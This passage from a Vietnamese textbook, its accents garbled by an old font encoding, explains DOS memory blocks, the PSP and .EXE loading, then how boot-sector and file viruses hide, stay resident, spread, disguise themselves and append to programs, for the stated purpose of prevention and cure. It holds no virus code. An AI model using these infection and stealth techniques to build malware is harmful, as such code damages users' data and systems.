khiÓn ®−îc tr¶ l¹i cho DOS, khi ®ã chÝnh DOS còng dïng chøc 
n¨ng nµy ®Ó gi¶i phãng vïng nhí tr−íc ®©y ®· cÊp ph¸t cho 
ch−¬ng tr×nh. 

Vµo: 

AH = 49h 
ES = Segment cña vïng nhí cÇn gi¶i phãng 

Ra: 

NÕu cê CF = 1 lµ cã lçi, khi ®ã AX chøa m· lçi. 

c. §iÒu chØnh kÝch th−íc vïng nhí. 

Vµo: 

AH = 4Ah 
ES = Segment cña khèi vïng nhí cÇn ®iÒu chØnh 
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BX = KÝch th−íc yªu cÇu ®iÒu chØnh 

Ra: 

AX lµ m· lçi nÕu cê CF =1, lóc ®ã BX lµ khèi lín nhÊt 
cßn dïng ®−îc. 

3. CÊu tróc cña MCB (Memory Control Block). 

Nh− chóng ta ®· nãi ë trªn, phÇn vïng nhí t¹m thêi ®−îc chia 
thµnh c¸c khèi t¹o thµnh chuçi, mçi khèi ®−îc qu¶n lý b»ng mét cÊu 
tróc ®Çu khèi gäi lµ MCB. 

MCB cã kÝch th−íc 16 byte, ®Æt ngay ë ®Çu vïng nhí mµ nã 
qu¶n lý, cÊu tróc cña MCB nh− sau: 

Offse
t 

Siz
e 

Item Néi dung 

+0 1 ID Byte nhËn diÖn lo¹i cña MCB 

+1 2 PSP PSP cña MCB. 

+3 2 Size KÝch th−íc vïng nhí mµ MCB qu¶n 
lý. 

+5 0B
h 

Resev
ed 

Dµnh riªng 

+10h   Khèi vïng nhí b¾t ®Çu tõ ®©y vµ chÊm 
døt ë byte (Size*10h) tÝnh tõ ®©y. 

Gi¸ trÞ cña c¸c tr−êng trong cÊu tróc trªn cã ý nghÜa nh− sau: 

- ID: Lµ byte nhËn diÖn xem MCB nµy cã ph¶i lµ MCB cuèi 
cïng cña chuçi hay ch−a. nÕu ch−a lµ cuèi chuçi, byte nµy cã gi¸ 
trÞ 4Dh, ng−îc l¹i sÏ cã gi¸ trÞ 5Ah. 

- PSP: Cho biÕt vïng nhí do MCB nµy qu¶n lý hiÖn cßn trèng 
hay ®ang ®−îc dïng cho ch−¬ng tr×nh nµo. NÕu gi¸ trÞ lµ 0 th× 
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ch−a cã ch−¬ng tr×nh nµo sö dông, ng−îc l¹i noc lµ gi¸ trÞ PSP cña 
ch−¬ng tr×nh ®· xin cÊp ph¸t vïng nhí nµy. C¨n cø vµo gi¸ trÞ 
trong PSP mµ DOS biÕt ®−îc vïng nhí nµo lµ cña ch−¬ng tr×nh 
võa chÊm døt ®Ó gi¶i phãng vïng nhí ®ã. 

- Size: Lµ kÝch th−íc theo ®o¹n cña khèi vïng nhí mµ MCB 
qu¶n lý.  

§Ó x¸c ®Þnh ®−îc MCB ®Çu tiªn, dïng chøc n¨ng 52h cña 
ng¾t 21h. Sau khi thùc hiÖn chøc n¨ng nµy, ES:BX trá tíi khèi 
tham biÕn cña DOS mµ tr−íc ®ã 2 byte (ë ES:[BX-2]) lµ gi¸ trÞ 
segment cña MCB ®Çu tiªn. C¸c MCB tiÕp theo sÏ ®−îc tÝnh b»ng 
c¸ch céng kÝch th−íc cña khèi MCB tr−íc nã víi 1. 

 §o¹n ch−¬ng tr×nh sau minh häa c¸ch duyÖt qua c¸c MCB: 

 mov  ah,52h 
 int  21h 
 sub  bx,2 
 mov  ax,word ptr es:[bx] 
 mov  es,ax  ; es = ®o¹n cña MCB ®Çu tiªn 

 Next: 
 mov  al,byte ptr es:[0]  ; LÊy ID cña MCB 
 cmp  al,5Ah  ; Lµ phÇn tö cuèi? 
 je  OK  ; ®óng, kÕt thóc 
 mov  bx,word ptr es:[1]  ; bx = PSP 
 mov  ax,word ptr es:[3]  ; ax = Size 
 call  Print_MCB 
 mov  dx,ax 
 mov  ax,es 
 add  ax,dx 
 inc  ax 
 mov  es,ax 
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 jmp  Next 
 OK: 

 call  Print_MCB 
 int  20h 

4. Qu¶n lý vµ tæ chøc thi hµnh File d−íi DOS. 

a. Ph©n lo¹i File. 

File lµ mét c¸ch tæ chøc d÷ liÖu trªn ®Üa ®Ó DOS qu¶n lý. C¨n 
cø vµo môc ®Ých vµ néi dung, File ®−îc ph©n ra thµnh hai lo¹i 
chÝnh: 

- File d÷ liÖu: Dïng ®Ó chøa th«ng tin vÒ mét ®èi t−îng. D÷ 
liÖu cã thÓ ë d¹ng Text hoÆc d¹ng nhÞ ph©n. §Ó truy xuÊt c¸c 
th«ng tin nh− vËy cÇn cã c¸c ch−¬ng tr×nh thi hµnh ®−îc truy xuÊt 
®Õn nã. 

- File thi hµnh: Néi dung cña nã lµ tËp m· lÖnh m¸y nh»m thi 
hµnh mét nhiÖm vô nµo ®ã. Khi thi hµnh, ®¸nh tªn ch−¬ng tr×nh 
t¹i dÊu ®îi lÖnh cña DOS, hoÆc dïng chøc n¨ng 4Bh cña Int 21h. 
File thi hµnh cã ®u«i .COM hoÆc .EXE 

b. C¸ch tæ chøc thi hµnh File kh¶ thi cña DOS. 

§Ó tæ chøc thi hµnh mét File kh¶ thi, DOS tiÕn hµnh c¸c b−íc 
sau ®©y: 

- DOS tiÕn hµnh chän mét segment, ®Þa chØ segment nµy 
th−êng lµ ®Þa chØ thÊp nhÊt cßn dïng ®−îc. Segment ®−îc chän 
gäi lµ PSP (Program Segment Prefix), lµ c¬ së ®Ó t¶i ch−¬ng tr×nh 
vµo. 

- DOS t¹o ra b¶n sao m«i tr−êng cña DOS cho ch−¬ng tr×nh 
®−îc n¹p. 
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- DOS ®iÒn vµo PSP nh÷ng néi dung cÇn thiÕt nh−: tæng sè 
vïng nhí cßn l¹i, ®Þa chØ Segment cña m«i tr−êng, 2 FCB, tham 
sè dßng lÖnh vµ DTA, néi dung hiÖn thêi cña c¸c ng¾t 22h, 23h, 
24h. 

- T¹o DTA ngÇm ®Þnh t¹i PSP:80h 

- §äc 1Ch byte ®Çu cña file vµo ®Ó x¸c ®Þnh xem file thuéc 
lo¹i COM/EXE. DÊu hiÖu ®Ó nhËn d¹ng file .EXE lµ gi¸ trÞ cña 
hai byte ®Çu tiªn lµ 4D5Ah hay 5A4Dh. Tïy theo lo¹i file, tæ chøc 
thi hµnh file sÏ ®−îc thùc hiÖn t−¬ng øng.  

c. PSP (Program Segment Prefix). 

Nh− chóng ta ®· nãi ë trªn, PSP lµ cÊu tróc do DOS t¹o ra 
tr−íc khi t¶i file cÇn thi hµnh vµo vïng nhí. 

CÊu tróc PSP gåm 256 byte (100h), m« t¶ vÒ cÊu tróc nµy nh− 
sau: 

Offse
t 

Siz
e 

Item Néi dung 

+0 2 Int 20h Ng¾t chÊm døt ch−¬ng tr×nh 

+2 2 MemTop Segment vïng nhí kÕ cßn dïng ®−îc 

+4 1 Reseved Dµnh riªng, th−êng lµ 0 

+5 5 CALL 
offset 
seg 

LÖnh gäi ®Õn tr×nh ®iÒu phèi hµm cña 
DOS 

+0Ah 4  §Þa chØ kÕt thóc ch−¬ng tr×nh (Int 22h) 

+0Eh 4  §Þa chØ xö lý CtrlÄBreak (Int 23h) 

+12h 4  §Þa chØ xö lý lçi nghiªm träng (Int 
24h) 
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+16h 16h Reseved Vïng dµnh riªng cho DOS 

+2Ch 2  §Þa chØ ®o¹n c¸c x©u m«i tr−êng cña 
DOS 

+2Eh 2E
h 

Reseved Vïng dµnh riªng cho DOS 

+55h 7  FCB më réng 1 

+5Ch 9  FCB 1 

+65h 7  FCB më réng 2 

+6Ch 20  FCB 2 

+80h 1  ChiÒu dµi tham sè nhËp tõ dÊu nh¾c 
cña DOS 

+81h 127  C¸c tham sè nhËp tõ dÊu nh¾c cña 
DOS 

+80h 128  Vïng DTA mÆc ®Þnh 

 

d. Thi hµnh file .COM 

Sau khi nhËn diÖn file d¹ng .COM, file ®−îc t¶i ngay vµo sau 
PSP mµ kh«ng cÇn ®Þnh vÞ l¹i, do ®ã kÝch th−íc cña nã bÞ giíi h¹n 
trong mét ph©n ®o¹n 64K. DOS tiÕn hµnh thi hµnh file .COM nh− 
sau: 

- TÊt c¶ c¸c thanh ghi ®o¹n CS, DS, SS, ES ®Òu trá tíi PSP. 

- SP ®−îc ®Þnh vÞ ®Ó trá tíi cuèi segment PSP. 

- TÊt c¶ mäi vïng nhí ®Òu ®−îc ph©n phèi cho ch−¬ng tr×nh. 
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- Mét gi¸ trÞ 0 ®−îc ®Èy vµo stack, ®iÒu nµy ®¶m b¶o sù kÕt 
thóc ch¾c ch¾n cña ch−¬ng tr×nh nÕu cèi ch−¬ng tr×nh lµ lªnh 
RET thay cho lÖnh Int 20h. 

- Trao quyÒn ®iÒu khiÓn cho ch−¬ng tr×nh (CS:IP) ngay t¹i 
®Çu vµo PSP:100h. 

e. Thi hµnh file EXE. 

Kh¸c víi file .COM, file .EXE kh«ng bÞ giíi h¹n trong mét 
ph©n ®o¹n mµ cã thÓ më réng trong nhiÒu ph©n ®o¹n. V× vËy, khi 
®−îc n¹p vµo vïng nhí, nã ph¶i ®−îc ®Þnh vÞ l¹i (Reallocate) theo 
c¸c tham sè trong mét cÊu tróc ®Çu file ®−îc gäi lµ Exe Header. 
CÊu tróc nµy nh− sau: 

Offse
t 

Siz
e 

Item Néi dung 

+0 2 4D5Ah Ký hiÖu nhËn d¹ng file .EXE 

+2 2 PartPag ChiÒu dµi cña phÇn trang cuèi 

+4 2 PageCn
t 

Sè trang (512 byte/trang) kÓ c¶ Header 

+6 2 ReloCnt Sè môc trong b¶ng t¸i ®Þnh vÞ 

+8 2 HdrSize KÝch th−íc cña Header (theo 
paragraph) 

+0Ah 2 MinMe
m 

Vïng nhí tèi thiÓu cÇn trªn ch−¬ng 
tr×nh (theo paragraph)  

+0Ch 2 MaxMe
m 

Vïng nhí tèi ®a cÇn trªn ch−¬ng tr×nh 
(theo paragraph) 

+0Eh 2 ReloSS Gi¸ trÞ ®Ó khëi t¹o SS 

+10h 2 ExeSP Gi¸ trÞ cña thanh ghi SP khi b¾t ®Çu. 
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+12h 2 ChkSu
m 

File CheckSum 

Offse
t 

Siz
e 

Item Néi dung 

+14h 2 ExeIP Gi¸ trÞ cña thanh ghi IP khi b¾t ®Çu. 

+16h 2 ReloCS Gi¸ trÞ ®Ó khëi t¹o CS 

+18h 2 TablOff File-Offset cña Item ®Çu tiªn 

+1Ah 2 Overlay  Sè Overlay (0 cho module c¬ së) 

 

Sau khi DOS ®· x¸c ®Þnh file cÇn thi hµnh lµ file d¹ng .EXE, 
nã sÏ tiÕn hµnh tiÕp c¸c b−íc nh− sau: 

- C¨n cø vµo th«ng tin trªn 1Ch byte ®Çu tiªn, x¸c ®Þnh 
module ph¶i t¶i vµo. Module lµ phÇn ch−¬ng tr×nh thùc tÕ, kh«ng 
tÝnh phÇn Exe Header, trong thùc tÕ, phÇn nµy chÝnh b»ng kÝch 
th−íc cña file trõ ®i kÝch th−íc cña Exe Header. Nh− vËy, ®iÓm 
b¾t ®Çu t¶i cña module lµ ngay sau Exe Header (kÝch th−íc 
Header * 10h), modul ®−îc t¶i vµo ®Þa chØ START_SEG: 0000, 
trong ®ã START_SEG = PSP + 10h. 

- §Æt con trá file ®Õn ®iÓm vµo cña b¶ng t¸i ®Þnh vÞ, øng víi 
mçi môc (Item) cña b¶ng nµy, tiÕn hµnh c¸c b−íc ®Þnh vÞ l¹i nh− 
sau: 

+ §äc Item nµy vµo 2 tõ 16 bit (I_OFF vµ I_SEG) 
+ X¸c ®Þnh ph©n ®o¹n RELO_SEG = START_SEG + 
I_SEG 

+ §äc gi¸ trÞ t¹i RELO_SEG:I_OFF 
+ §Þnh vÞ l¹i b»ng c¸ch céng gi¸ trÞ võa cã ®−îc víi 
START_SEG 
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+ Tr¶ l¹i gi¸ trÞ ®· ®−îc ®Þnh vÞ l¹i vµo chç cò 
RELO_SEG:I_OFF 

- Sau khi t¸i ®Þnh vÞ xong, DOS ph©n phèi vïng nhí cho 
ch−¬ng tr×nh t−¬ng øng víi vïng nhí tèi ®a vµ tèi thiÓu trong Exe 
Header. 

- Khëi t¹o gi¸ trÞ c¸c thanh ghi: 

+ DS vµ ES ®−îc trá tíi PSP 
+ Khëi t¹o Stack nh− sau: 

SS = ReloSS + START_SEG 
SP = ExeSP 

+ §Çu vµo cña ch−¬ng tr×nh: 
CS = START_SEG + ReloCS 
IP = ExeIP 

- Trao quyÒn ®iÒu khiÓn cho file. 

IV. C¸c ®Æc ®iÓm cña B-VIRUS. 

Qua ch−¬ng tr−íc, chóng ta ®· ®−a ra c¸c th«ng tin hÕt søc c¬ 
b¶n vÒ cÊu tróc ®Üa, tiÕn tr×nh khëi ®éng vµ c¸ch thøc tæ chøc 
vïng nhí, tæ chøc thi hµnh file cña DOS. Nh÷ng th«ng tin ®ã gióp 
chóng ta t×m hiÓu nh÷ng ®Æc ®iÓm c¬ b¶n cña virus, tõ ®ã ®−a ra 
c¸ch phßng chèng, ch÷a trÞ trong tr−êng hîp m¸y bÞ nhiÔm virus. 

1. Ph©n lo¹i B-virus. 

Nh− chóng ta ®· biÕt, sau qu¸ tr×nh POST, sector ®Çu tiªn trªn 
®Üa A hoÆc ®Üa C ®−îc ®äc vµo vïng nhí t¹i 0: 7C00, vµ quyÒn 
®iÒu khiÓn ®−îc trao cho ®o¹n m· trong sector khëi ®éng nµy. B-
virus ho¹t ®éng b»ng c¸ch thay thÕ ®o¹n m· chuÈn trong sector 
khëi ®éng nµy b»ng ®o¹n m· cña nã ®Ó chiÕm quyÒn ®iÒu khiÓn, 
sau khi ®· cµi ®Æt xong míi ®äc sector khëi ®éng chuÈn ®−îc 
virus cÊt gi÷ ë ®©u ®ã vµo 0:7C00 vµ tr¶ l¹i quyÒn ®iÒu khiÓn cho 
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®o¹n m· chuÈn nµy. ViÖc cÊt gi÷ sector khëi ®éng t¹i vÞ trÝ nµo 
trªn ®Üa tuú thuéc lo¹i ®Üa vµ c¸ch gi¶i quyÕt cña tõng lo¹i virus. 
§èi víi ®Üa cøng, th«ng th−êng nã ®−îc cÊt gi÷ ë ®©u ®ã trong 
Side 0, Cylinder 0 v× trong c¶ track nµy, DOS chØ sö dông sector 
®Çu tiªn cho b¶ng Partition. Trªn ®Üa mÒm, vÞ trÝ cÊt gi÷ sÏ phøc 
t¹p h¬n v× mäi chç ®Òu cã kh¶ n¨ng bÞ ghi ®Ì th«ng tin. Mét sè 
h−íng sau ®©y ®· ®−îc c¸c virus ¸p dông: 

+ Sö dông sector ë cuèi Root Directory, v× nã th−êng Ýt ®−îc 
sö dông. 

+ Sö dông c¸c sector cuèi cïng trªn ®Üa, v× khi ph©n bæ vïng 
trèng cho file, DOS t×m vïng trèng tõ nhá ®Õn lín cho nªn 
vïng nµy th−êng Ýt ®−îc sö dông. 

+ Ghi vµo vïng trèng trªn ®Üa, ®¸nh dÊu trong b¶ng FAT 
vïng nµy lµ vïng bÞ háng ®Ó DOS kh«ng sö dông cÊp ph¸t 
n÷a. Cc¸h lµm nµy an toµn h¬n c¸c c¸ch lµm trªn ®©y. 

+ Format thªm track vµ ghi vµo track võa ®−îc Format thªm. 

Tïy thuéc vµo ®é lín cña ®o¹n m· virus mµ B-virus ®−îc 
chia thµnh hai lo¹i: 

a. SB-virus. 

Ch−¬ng tr×nh cña SB-virus chØ chiÕm ®óng mét sector khëi 
®éng, c¸c t¸c vô cña SB-virus kh«ng nhiÒu vµ t−¬ng ®èi ®¬n gi¶n. 
HiÖn nay sè c¸c virus lo¹i nµy th−êng Ýt gÆp vµ cã lÏ chØ lµ c¸c 
virus do trong n−íc "s¶n xuÊt". 

b. DB-virus. 

§©y lµ nh÷ng lo¹i virus mµ ®o¹n m· cña nã lín h¬n 512 byte 
(th−êng thÊy). 

V× thÕ mµ ch−¬ng tr×nh virus ®−îc chia thµnh hai phÇn: 
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- PhÇn ®Çu virus: §−îc cµi ®Æt trong sector khëi ®éng ®Ó 
chiÕm quyÒn ®iÒu hiÓn khi quyÒn ®iÒu khiÓn ®−îc trao cho sector 
khëi ®éng nµy. NhiÖm vô duy nhÊt cña phÇn ®Çu lµ: t¶i tiÕp phÇn 
th©n cña virus vµo vïng nhí vµ trao quyÒn ®iÒu khiÓn cho phÇn 
th©n ®ã. V× nhiÖm vô ®¬n gi¶n nh− vËy nªn phÇn ®Çu cña virus 
th−êng rÊt ng¾n, vµ cµng ng¾n cµng tèt v× cµng ng¾n th× sù kh¸c 
biÖt gi÷a sector khëi ®éng chuÈn vµ sector khëi ®éng ®· bÞ nhiÔm 
virus cµng Ýt, gi¶m kh¶ n¨ng bÞ nghi ngê. 

- PhÇn th©n virus: Lµ phÇn ch−¬ng tr×nh chÝnh cña virus. Sau 
khi ®−îc phÇn ®Çu t¶i vµo vïng nhí vµ trao quyÒn, phÇn th©n nµy 
sÏ tiÕn hµnh c¸c t¸c vô cña m×nh, sau khi tiÕn hµnh xong míi ®äc 
sector khëi ®éng chuÈn vµo vïng nhí vµ trao quyÒn cho nã ®Ó 
m¸y tÝnh lµm viÖc mét c¸ch b×nh th−êng nh− ch−a cã g× x¶y ra c¶. 

2. Mét sè kü thuËt c¬ b¶n cña B-virus. 

Dï lµ SB-virus hay DB-virus, nh−ng ®Ó tån t¹i vµ l©y lan, 
chóng ®Òu cã mét sè c¸c kü thuËt c¬ b¶n nh− sau: 

a. Kü thuËt kiÓm tra tÝnh duy nhÊt. 

Virus ph¶i tån t¹i trong bé nhí còng nh− trªn ®Üa, song sù tån 
t¹i qu¸ nhiÒu b¶n sao cña chÝnh nã trªn ®Üa vµ trong bé nhí sÏ chØ 
lµm chËm qu¸ tr×nh Boot m¸y, còng nh− chiÕm qu¸ nhiÒu vïng 
nhí ¶nh h−ëng tíi viÖc t¶i vµ thi hµnh c¸c ch−¬ng tr×nh kh¸c ®ång 
thêi còng lµm gi¶m tèc ®é truy xuÊt ®Üa. ChÝnh v× thÕ, kü thuËt 
nµy lµ mét yªu cÇu nghiªm ngÆt víi B-virus. 

ViÖc kiÓm tra trªn ®Üa cã hai yÕu tè ¶nh h−ëng: 

Thø nhÊt lµ thêi gian kiÓm tra:  

NÕu mäi t¸c vô ®äc/ghi ®Üa ®Òu ph¶i kiÓm tra ®Üa th× thêi gian 
truy xuÊt sÏ bÞ t¨ng gÊp ®«i, lµm gi¶m tèc ®é truy xuÊt còng nh− 
gia t¨ng mçi nghi ngê. 
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§èi víi yªu cÇu nµy, c¸c virus ¸p dông mét sè kü thuËt sau: 
Gi¶m sè lÇn  kiÓm tra b»ng c¸ch chØ kiÓm tra trong tr−êng hîp 
thay ®æi truy xuÊt tõ æ ®Üa nµy sang æ ®Üa kh¸c, chØ kiÓm tra trong 
tr−êng hîp b¶ng FAT trªn ®Üa ®−îc ®äc vµo. 

Thø hai lµ kü thuËt kiÓm tra: 

HÇu hÕt c¸c virus ®Òu kiÓm tra b»ng gi¸ trÞ tõ kho¸. Mçi virus 
sÏ t¹o cho m×nh mét gi¸ trÞ ®Æc biÖt t¹i mét vÞ trÝ x¸c ®Þnh trªn ®Üa, 
viÖc kiÓm tra ®−îc tiÕn hµnh b»ng c¸ch ®äc Boot record vµ kiÓm 
tra gi¸ trÞ cña tõ kho¸ nµy. Kü thuËt nµy gÆp trë ng¹i v× sè l−îng 
B-virus ngµy mét ®«ng ®¶o, mµ vÞ trÝ trªn Boot Record th× cã h¹n. 
C¸ch kh¾c phôc hiÖn nay cña c¸c virus lµ t¨ng sè l−îng m· lÖnh 
cÇn so s¸nh ®Ó lµm gi¶m kh¶ n¨ng trïng hîp ngÉu nhiªn. 

§Ó kiÓm tra sù tån t¹i cña m×nh trong bé nhí, c¸c virus ®· ¸p 
dông c¸c kü thuËt sau: §¬n gi¶n nhÊt lµ kiÓm tra gi¸ trÞ Key value 
t¹i mét vÞ trÝ x¸c ®Þnh trªn vïng nhí cao, ngoµi ra mét kü thuËt 
kh¸c ®−îc ¸p dông ®èi víi c¸c virus chiÕm ng¾t Int 21 cña DOS lµ 
yªu cÇu thùc hiÖn mét chøc n¨ng ®Æc biÖt kh«ng cã trong ng¾t 
nµy. NÕu cê b¸o lçi ®−îc bËt lªn th× trong bé nhí ch−a cã virus, 
ng−îc l¹i nÕu virus ®· l−u tró trong vïng nhí th× gi¸ trÞ tr¶ l¹i 
(trong thanh ghi AX ch¼ng h¹n) lµ mét gi¸ trÞ x¸c ®Þnh nµo ®ã. 

b. Kü thuËt l−u tró. 

Sau khi thùc hiÖn xong ch−¬ng tr×nh POST, gi¸ trÞ tæng sè 
vïng nhí võa ®−îc Test sÏ ®−îc l−u vµo vïng BIOS Data ë ®Þa chØ 
0:413h. Khi hÖ ®iÒu hµnh nhËn quyÒn ®iÒu khiÓn, nã sÏ coi vïng 
nhí mµ nã kiÓm so¸t lµ gi¸ trÞ trong ®Þa chØ nµy. V× vËy ®Ó l−u tró, 
mäi B-virus ®Òu ¸p dông kü thuËt sau ®©y: Sau khi t¶i phÇn l−u tró 
cña m×nh lªn vïng nhí cao, nã sÏ gi¶m gi¸ trÞ vïng nhí do DOS 
qu¶n lý t¹i 0:413h ®i mét l−îng ®óng b»ng kÝch th−íc cña virus. 
Tuy nhiªn nÕu kh«ng kiÓm tra tèt sù cã mÆt trong vïng nhí, khi 
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bÞ Boot mÒm liªn tôc, gi¸ trÞ tæng sè vïng nhí nµy sÏ bÞ gi¶m 
nhiÒu lÇn, ¶nh h−ëng tíi viÖc thùc hiÖn cña c¸c ch−¬ng tr×nh sau 
nµy. ChÝnh v× thÕ, c¸c virus ®−îc thiÕt kÕ tèt ph¶i kiÓm tra sù tån 
t¹i cña m×nh trong bé nhí, nÕu ®· cã mÆt trong bé nhí th× kh«ng 
gi¶m dung l−îng vïng nhí n÷a. 

c. Kü thuËt l©y lan. 

§o¹n m· thùc hiÖn nhiÖm vô l©y lan lµ ®o¹n m· quan träng 
trong ch−¬ng tr×nh virus. §Ó ®¶m b¶o viÖc l©y lan, virus khèng 
chÕ ng¾t quan träng nhÊt trong viÖc ®äc/ghi vïng hÖ thèng: ®ã lµ 
ng¾t 13h, tuy nhiªn ®Ó ®¶m b¶o tèc ®é truy xuÊt ®Üa, chØ c¸c chøc 
n¨ng 2 vµ 3 (®äc/ghi) lµ dÉn tíi viÖc l©y lan. ViÖc l©y lan b»ng 
c¸ch ®äc Boot Sector (Master Boot) lªn vµ kiÓm tra xem ®· bÞ l©y 
ch−a (kü thuËt kiÓm tra ®· nãi ë trªn). NÕu sector khëi ®éng ®ã 
ch−a bÞ nhiÔm th× virus sÏ t¹o mét sector khëi ®éng míi víi c¸c 
tham sè t−¬ng øng cña ®o¹n m· virus råi ghi trë l¹i vµo vÞ trÝ cña 
nã trªn ®Üa. Cßn sector khëi ®éng võa ®äc lªn cïng víi th©n cña 
virus (lo¹i DB-virus) sÏ ®−îc ghi vµo vïng x¸c ®Þnh trªn ®Üa. 
Ngoµi ra mét sè virus cßn chiÕm ng¾t 21 cña DOS ®Ó l©y nhiÔm 
vµ ph¸ ho¹i trªn c¸c file mµ ng¾t 21 lµm viÖc. 

ViÖc x©y dùng sector khëi ®éng cã ®o¹n m· cña virus ph¶i 
®¶m b¶o c¸c kü thuËt sau ®©y: 

- Sector khëi ®éng bÞ nhiÔm ph¶i cßn chøa c¸c tham sè ®Üa 
phôc vô cho qu¸ tr×nh truy xuÊt ®Üa, ®ã lµ b¶ng tham sè BPB cña 
Boot record hay b¶ng ph©n ch−¬ng trong tr−êng hîp Master boot. 
ViÖc kh«ng b¶o toµn sÏ dÉn ®Õn viÖc virus mÊt quyÒn ®iÒu khiÓn 
hoÆc kh«ng thÓ kiÓm so¸t ®−îc ®Üa nÕu virus kh«ng cã mÆt trong 
m«i tr−êng. 
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- Sù an toµn cña sector khëi ®éng nguyªn thÓ vµ ®o¹n th©n 
cña virus còng ph¶i ®−îc ®Æt lªn hµng ®Çu. C¸c kü thuËt vÒ vÞ trÝ 
cÊt giÊu chóng ta còng ®· ph©n tÝch ë c¸c phÇn trªn. 

d. Kü thuËt ngôy trang vµ g©y nhiÔu. 

Kü thuËt nµy ra ®êi kh¸ muén vÒ sau nµy, do khuynh h−íng 
chèng l¹i sù ph¸t hiÖn cña ng−êi sö dông vµ nh÷ng lËp tr×nh viªn 
®èi víi virus. V× kÝch th−íc cña virus kh¸ nhá bÐ cho nªn c¸c lËp 
tr×nh viªn hoµn toµn cã thÓ dß tõng b−íc xem c¬ chÕ cña virus 
ho¹t ®éng nh− thÕ nµo, cho nªn c¸c virus t×m mäi c¸ch l¾t lÐo ®Ó 
chèng l¹i sù theo dâi cña c¸c lËp tr×nh viªn. 

C¸c virus th−êng ¸p dông mét sè kü thuËt sau ®©y:  

- Cè t×nh viÕt c¸c lÖnh mét c¸ch r¾c rèi nh− ®Æt Stack vµo c¸c 
vïng nhí nguy hiÓm, chiÕm vµ xo¸ c¸c ng¾t, thay ®æi mét c¸ch l¾t 
lÐo c¸c thanh ghi ph©n ®o¹n ®Ó ng−êi dß kh«ng biÕt d÷ liÖu lÊy tõ 
®©u, thay ®æi c¸c gi¸ trÞ cña c¸c lÖnh phÝa sau ®Ó ng−êi sö dông 
khã theo dâi. 

- M· ho¸ ngay chÝnh ch−¬ng tr×nh cña m×nh ®Ó ng−êi sö dông 
kh«ng ph¸t hiÖn ra quy luËt, còng nh− kh«ng thÊy mét c¸ch râ 
rµng ngay sù ho¹t ®éng cña virus. 

- Ngôy trang: C¸ch thø nhÊt lµ ®o¹n m· cµi vµo sector khëi 
®éng cµng ng¾n cµng tèt vµ cµng gièng sector khëi ®éng cµng tèt. 
Tuy vËy c¸ch thø hai vÉn ®−îc nhiÒu virus ¸p dông: Khi m¸y 
®ang n»m trong quyÒn chi phèi cña virus, mäi yªu cÇu ®äc/ghi 
Boot sector (Master boot) ®Òu ®−îc virus tr¶ vÒ mét b¶n chuÈn: 
b¶n tr−íc khi bÞ virus l©y. §iÒu nµy ®¸nh lõa ng−êi sö dông vµ c¸c 
ch−¬ng tr×nh chèng virus kh«ng ®−îc thiÕt kÕ tèt nÕu m¸y hiÖn 
®ang chÞu sù chi phèi cña virus. 
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e. Kü thuËt ph¸ ho¹i. 

§· lµ virus th× bao giê còng cã tÝnh ph¸ ho¹i. Cã thÓ ph¸ ho¹i 
ë møc ®ïa cho vui, còng cã thÓ lµ ph¸ ho¹i ë møc ®é nghiªm 
träng, g©y mÊt m¸t vµ ®×nh trÖ ®èi víi th«ng tin trªn ®Üa. 

C¨n cø vµo thêi ®iÓm ph¸ ho¹i, cã thÓ chia ra thµnh hai lo¹i: 

- Lo¹i ®Þnh thêi: Lo¹i nµy l−u gi÷ mét gi¸ trÞ, gi¸ trÞ nµy cã 
thÓ lµ ngµy giê, sè lÇn l©y nhiÔm, sè giê m¸y ®· ch¹y, ... NÕu gi¸ 
trÞ nµy v−ît qu¸ mét con sè cho phÐp, nã sÏ tiÕn hµnh ph¸ ho¹i. 
Lo¹i nµy th−êng nguy hiÓm v× chóng chØ ph¸ ho¹i mét lÇn. 

- Lo¹i liªn tôc: Sau khi bÞ l©y nhiÔm vµ liªn tôc, virus tiÕn 
hµnh ph¸ ho¹i, song do tÝnh liªn tôc nµy, c¸c ho¹t ®éng ph¸ ho¹i 
cña nã kh«ng mang tÝnh nghiªm träng, chñ yÕu lµ ®ïa cho vui. 

V. C¸c ®Æc ®iÓm cña F-VIRUS 

So víi B-virus th× sè l−îng F-virus ®«ng ®¶o h¬n nhiÒu, cã lÏ 
do c¸c t¸c vô ®Üa víi sù hç trî cña Int 21 ®· trë nªn cùc kú dÔ 
dµng vµ tho¶i m¸i, ®ã lµ ®iÒu kiÖn ph¸t triÓn cho c¸c F-virus. 

Th−êng th× c¸c F-virus chØ l©y lan trªn c¸c file kh¶ thi (cã 
®u«i .COM hoÆc .EXE), tuy nhiªn mét nguyªn t¾c mµ virus ph¶i 
tu©n thñ lµ: Khi thi hµnh mét file kh¶ thi bÞ l©y nhiÔm, quyÒn ®iÒu 
khiÓn ph¶i n»m trong tay virus tr−íc khi virus tr¶ nã l¹i cho file bÞ 
nhiÔm, vµ khi file nhËn l¹i quyÒn ®iÒu khiÓn, tÊt c¶ mäi d÷ liÖu 
cña file ph¶i ®−îc b¶o toµn. 

§èi víi F-virus, cã mét sè kü thuËt ®−îc nªu ra ë ®©y: 

1. Kü thuËt l©y lan: 

C¸c F-virus chñ yÕu sö dông hai kü thuËt: Thªm vµo ®Çu vµ 
thªm vµo cuèi 
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a. Thªm vµo ®Çu file. 

Th«ng th−êng, ph−¬ng ph¸p nµy chØ ¸p dông cho c¸c file 
.COM, tøc lµ ®Çu vµo cña ch−¬ng tr×nh lu«n lu«n t¹i PSP:100h. 
Lîi dông ®Çu vµo cè ®Þnh, virus chÌn ®o¹n m· cña ch−¬ng tr×nh 
virus vµo ®Çu ch−¬ng tr×nh ®èi t−îng, ®Èy toµn bé ch−¬ng tr×nh 
®èi t−îng xuèng phÝa d−íi. C¸ch nµy cã mét nh−îc ®iÓm lµ do 
®Çu vµo cè ®Þnh cña ch−¬ng tr×nh .COM lµ PSP:100, cho nªn 
tr−íc khi tr¶ l¹i quyÒn ®iÒu khiÓn cho ch−¬ng tr×nh, ph¶i ®Èy l¹i 
toµn bé ch−¬ng tr×nh lªn b¾t ®Çu tõ offset 100h. C¸ch l©y nµy g©y 
khã kh¨n cho nh÷ng ng−êi kh«i phôc v× ph¶i ®äc toµn bé file vµo 
vïng nhí råi míi tiÕn hµnh ghi l¹i. 

b. Thªm vµo cuèi file. 

Kh¸c víi c¸ch l©y lan ë trªn, trong ph−¬ng ph¸p nµy, ®o¹n 
m· cña virus sÏ ®−îc g¾n vµo sau cña ch−¬ng tr×nh ®èi t−îng. 
Ph−¬ng ph¸p nµy ®−îc thÊy trªn hÇu hÕt c¸c lo¹i virus v× ph¹m vi 
l©y lan cña nã réng r·i h¬n ph−¬ng ph¸p trªn. 

